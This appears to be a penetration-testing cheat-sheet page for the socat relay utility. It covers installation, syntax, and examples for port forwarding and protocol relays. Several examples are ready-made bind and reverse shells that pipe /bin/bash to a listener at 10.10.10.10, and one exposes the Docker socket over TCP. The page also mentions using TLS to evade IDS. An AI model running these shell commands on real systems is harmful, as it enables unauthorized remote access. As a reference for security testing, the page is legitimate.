Maintaining Access
Socat is a command line based utility that establishes two bidirectional byte streams and transfers data between them, widely used for establishing shells, port forwarding, and encrypted connections.
sudo apt install socat
socat [options] <address1> <address2>
Socat (SOcket CAT) is a powerful command-line utility that establishes two bidirectional byte streams and transfers data between them. It acts as a multipurpose relay tool, capable of connecting virtually any two data endpoints together.
Socat supports a vast array of address types including TCP, UDP, SCTP, UNIX domain sockets, pipes, files, SSL/TLS, and PTY devices. This makes it invaluable for penetration testers who need to create reverse shells, forward ports through firewalls, or tunnel traffic over encrypted channels.
Unlike simpler tools like Netcat, Socat provides advanced features such as SSL encryption, data manipulation, forking for multiple connections, and complex address chaining. It is an essential tool in every security professional's arsenal for network relay and post-exploitation pivoting.
socat -VPrint the socat version and the features compiled in (OpenSSL, readline, etc.).socat -hhhShow the full help including every supported address type and option.socat - TCP:10.10.10.10:4444Connect to a TCP port and bridge it to STDIO, working like a netcat client.socat - TCP-LISTEN:4444,reuseaddrListen on a TCP port and bridge to STDIO, working like a netcat listener.socat -v TCP-LISTEN:8080,fork TCP:example.com:80Relay traffic to a remote service while printing all transferred data to stderr.socat -x -v TCP-LISTEN:8080,fork TCP:example.com:80Same relay but dump the data as hex for protocol inspection.socat -d -d TCP-LISTEN:8080,reuseaddr,fork TCP:example.com:80Run a forwarding relay with verbose diagnostic logging (two -d for more detail).socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bashOpen a bind shell that spawns /bin/bash for each incoming TCP connection.socat TCP:10.10.10.10:4444 EXEC:/bin/bashConnect back to a listener and pipe a bash process to it (reverse shell).socat file:`tty`,raw,echo=0 TCP-LISTEN:4444Attacker-side listener that provides a fully interactive TTY for the incoming shell.socat TCP:10.10.10.10:4444 EXEC:'bash -li',pty,stderr,setsid,sigint,saneVictim-side reverse shell that allocates a PTY for a fully interactive session.socat TCP-LISTEN:8080,reuseaddr,fork TCP:10.10.10.10:80Forward a local TCP port to a remote host and port (pivot/port forward).socat UDP-LISTEN:53,reuseaddr,fork UDP:10.10.10.10:53Relay UDP datagrams (e.g. DNS) between a local port and a remote server.socat TCP-LISTEN:8080,reuseaddr,fork UNIX-CONNECT:/var/run/docker.sockExpose a local UNIX domain socket (such as the Docker API socket) over TCP.socat UNIX-LISTEN:/tmp/mysql.sock,fork TCP:10.10.10.10:3306Present a remote TCP service as a local UNIX socket for legacy clients.Establish reverse shell connections from compromised targets back to your listener.
Forward TCP/UDP ports through firewalls and NAT boundaries for internal access.
Wrap plaintext connections in SSL/TLS to evade detection and IDS systems.
Bidirectional relay between different protocols such as TCP to UNIX sockets or files.
Create fully interactive TTY shells with proper terminal handling for post-exploitation.
Transfer files between systems by connecting file descriptors to network sockets.
Maintaining Access
Simple networking utility for TCP/UDP connections and basic port scanning.
Maintaining Access
Nmap's enhanced Netcat with SSL and connection brokering features.
Maintaining Access
Fast TCP/UDP tunnel over HTTP with SSH encryption for firewall bypass.
Maintaining Access
TUN interface-based tunneling tool for easy network pivoting.
Maintaining Access
Force any app's TCP traffic through proxy chains for anonymization.
Sniffing & Spoofing
Deep packet inspection and protocol analysis for traffic verification.
This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.